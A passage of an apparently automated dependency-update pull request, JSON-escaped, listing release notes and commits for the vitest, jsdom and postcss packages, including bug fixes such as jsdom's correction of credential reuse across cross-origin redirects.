href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6a11cf66f99fa610b7364363d5ca42b66d994f40\"\u003e\u003ccode\u003e6a11cf6\u003c/code\u003e\u003c/a\u003e chore: release v5.0.4 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11554\"\u003e#11554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2297d93a854968d2ffee6025700c69099e6b7f80\"\u003e\u003ccode\u003e2297d93\u003c/code\u003e\u003c/a\u003e fix(coverage): v8 browser memory leak between test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11466\"\u003e#11466\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c74e099a9d17e24e9816878165af4818df84a631\"\u003e\u003ccode\u003ec74e099\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11167\"\u003e#11167\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsdom` from 30.1.1 to 30.1.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jsdom/jsdom/releases\"\u003ejsdom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev30.1.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved performance of \u003ccode\u003egetComputedStyle()\u003c/code\u003e and computed CSS property reads, including with stylesheets containing attribute selectors. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed slowdowns when focusing elements and running interaction tests, which regressed in v30.1.2. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e reusing credentials supplied to \u003ccode\u003exhr.open()\u003c/code\u003e after cross-origin redirects, including in response to authentication challenges from the destination.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e incorrectly sending and accepting cookies after cross-origin redirects back to the document's origin when \u003ccode\u003exhr.withCredentials\u003c/code\u003e is false.\u003c/li\u003e\n\u003cli\u003eFixed exceptions from malformed CSS math functions, such as \u003ccode\u003ecalc(0px - @submenu_space)\u003c/code\u003e, while parsing documents, stylesheets, and style declarations. (\u003ca href=\"https://github.com/rnavarro\"\u003e\u003ccode\u003e@​rnavarro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e ignoring style rules nested inside multiple \u003ccode\u003e@media\u003c/code\u003e rules.\u003c/li\u003e\n\u003cli\u003eFixed CSS shorthands overwriting longhands with higher priority or specificity during style computation, including declarations containing CSS variables.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e returning unresolved or inconsistent shorthand values, including for 'background', 'border', 'flex', 'font', 'margin', and 'padding', and incorrect shorthand defaults and inheritance.\u003c/li\u003e\n\u003cli\u003eFixed computed background positions to resolve font-relative lengths using the final font size and handle multiple image layers correctly.\u003c/li\u003e\n\u003cli\u003eFixed computed 'color' values depending on property read order, including unresolved \u003ccode\u003ecolor-mix()\u003c/code\u003e results, which regressed in v29.0.2.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003ecurrentcolor\u003c/code\u003e border colors incorrectly becoming transparent when 'color' uses \u003ccode\u003elight-dark()\u003c/code\u003e or relative color syntax.\u003c/li\u003e\n\u003cli\u003eFixed CSS calculations that reduce to a percentage incorrectly producing pixel values, which regressed in v30.0.0.\u003c/li\u003e\n\u003cli\u003eFixed numeric font weights in the 'font' shorthand incorrectly setting 'line-height'.\u003c/li\u003e\n\u003cli\u003eFixed selector matching involving XML namespaces, and selectors such as \u003ccode\u003e[data-a|=\u0026quot;\u0026quot;]\u003c/code\u003e failing to match empty values and values beginning with \u003ccode\u003e-\u003c/code\u003e. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev30.1.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated URLs to support Unicode v18.0.0 in internationalized domain names.\u003c/li\u003e\n\u003cli\u003eReduced package size and memory use for CSS property definitions. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed severe slowdowns when building large DOM trees, including SVG charts with D3, which regressed in v30.1.0. (\u003ca href=\"https://github.com/cmdcolin\"\u003e\u003ccode\u003e@​cmdcolin\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed exponentially slow reads of empty inherited CSS custom properties in deeply nested documents, and custom properties incorrectly inheriting past an \u003ccode\u003einitial\u003c/code\u003e reset. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e returning stale results after editing stylesheet declarations, selectors, or media queries, including in imported stylesheets.\u003c/li\u003e\n\u003cli\u003eFixed selector matching and computed styles after changes to form control checkedness, indeterminacy, selection, values, and validity, including during form resets and canceled clicks.\u003c/li\u003e\n\u003cli\u003eFixed computed styles for \u003ccode\u003e:focus\u003c/code\u003e, \u003ccode\u003e:focus-visible\u003c/code\u003e, \u003ccode\u003e:focus-within\u003c/code\u003e, and selectors containing them after focus changes, including inside focus and blur listeners. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eelement.focus()\u003c/code\u003e incorrectly focusing elements hidden by 'display', including through shadow hosts and slots, and elements excluded by shadow DOM slot assignment. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e throwing for elements without inline-style support, including XML and MathML elements.\u003c/li\u003e\n\u003cli\u003eFixed a memory leak where stylesheet parsing retained the last parsed stylesheet's window after \u003ccode\u003ewindow.close()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed memory growth from long-lived \u003ccode\u003eMutationObserver\u003c/code\u003e instances retaining bookkeeping for garbage-collected nodes. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed retained \u003ccode\u003eselect.selectedOptions\u003c/code\u003e collections becoming stale after selection changes and form resets.\u003c/li\u003e\n\u003cli\u003eFixed rejection of negative CSS sizing values, including for 'min-width', 'min-height', 'max-width', and 'max-height', which regressed in v30.1.0.\u003c/li\u003e\n\u003cli\u003eFixed handling of deeply nested \u003ccode\u003ecolor-mix()\u003c/code\u003e expressions, including exceptions during color resolution. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/058c0f55f369a70bcb113d660ae562b9066f2d44\"\u003e\u003ccode\u003e058c0f5\u003c/code\u003e\u003c/a\u003e 30.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/fcd1fd186401a01a754d124259bf3462ebde29e1\"\u003e\u003ccode\u003efcd1fd1\u003c/code\u003e\u003c/a\u003e Cascade parsed longhands independently\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/a3ee78607d8b148c252ccf0626e10eed63ee3e49\"\u003e\u003ccode\u003ea3ee786\u003c/code\u003e\u003c/a\u003e Cascade computed style properties on demand\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/f42dc159106131691e16b6af6303a2291f4649e2\"\u003e\u003ccode\u003ef42dc15\u003c/code\u003e\u003c/a\u003e Resolve colors before caching or using currentcolor\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/074b1fb31d0eceeb3cd8cf4a97a4ce9e2b26643c\"\u003e\u003ccode\u003e074b1fb\u003c/code\u003e\u003c/a\u003e Compute background-position lengths against the final font size\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/d19598cd3b306b349f7f37d146b83a611f30e3c2\"\u003e\u003ccode\u003ed19598c\u003c/code\u003e\u003c/a\u003e Apply style rules nested in multiple \u003ca href=\"https://github.com/media\"\u003e\u003ccode\u003e@​media\u003c/code\u003e\u003c/a\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/45d626c988603e102bf4633d853d9069c88ac653\"\u003e\u003ccode\u003e45d626c\u003c/code\u003e\u003c/a\u003e Rule out attribute selector subjects before matching\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/3ff0a5b986cb9e852c9ee53784c7e06b83f72f2c\"\u003e\u003ccode\u003e3ff0a5b\u003c/code\u003e\u003c/a\u003e Upgrade Undici and remove abort workarounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/8813bb1b0ad45a822fe2d537f2613c292f9bf63a\"\u003e\u003ccode\u003e8813bb1\u003c/code\u003e\u003c/a\u003e Ignore CSS declarations with unparseable math functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/63712d8c66cad4db5e4691fd86e4de95d73c6642\"\u003e\u003ccode\u003e63712d8\u003c/code\u003e\u003c/a\u003e Fix XHR credentials across redirects\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jsdom/jsdom/compare/v30.1.1...v30.1.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.29 to 8.5.31\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1908579d6af4155ee5f759030184fb4c2b575ec\"\u003e\u003ccode\u003ed190857\u003c/code\u003e\u003c/a\u003e Release 8.5.31 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4ef6d8cc0307df09c21a63b5521285657966ece3\"\u003e\u003ccode\u003e4ef6d8c\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6abd674231f7867d1c37e6b71bc8d6e00165fd27\"\u003e\u003ccode\u003e6abd674\u003c/code\u003e\u003c/a\u003e Call the builder with every node when the output is escaped (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2175\"\u003e#2175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f1aca7ec68ab0cfb96cc9e69520a87f641c5a9e4\"\u003e\u003ccode\u003ef1aca7e\u003c/code\u003e\u003c/a\u003e Release 8.5.30 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9d8344589299ca90f4ec0a4fab899e357995eaad\"\u003e\u003ccode\u003e9d83445\u003c/code\u003e\u003c/a\u003e Update 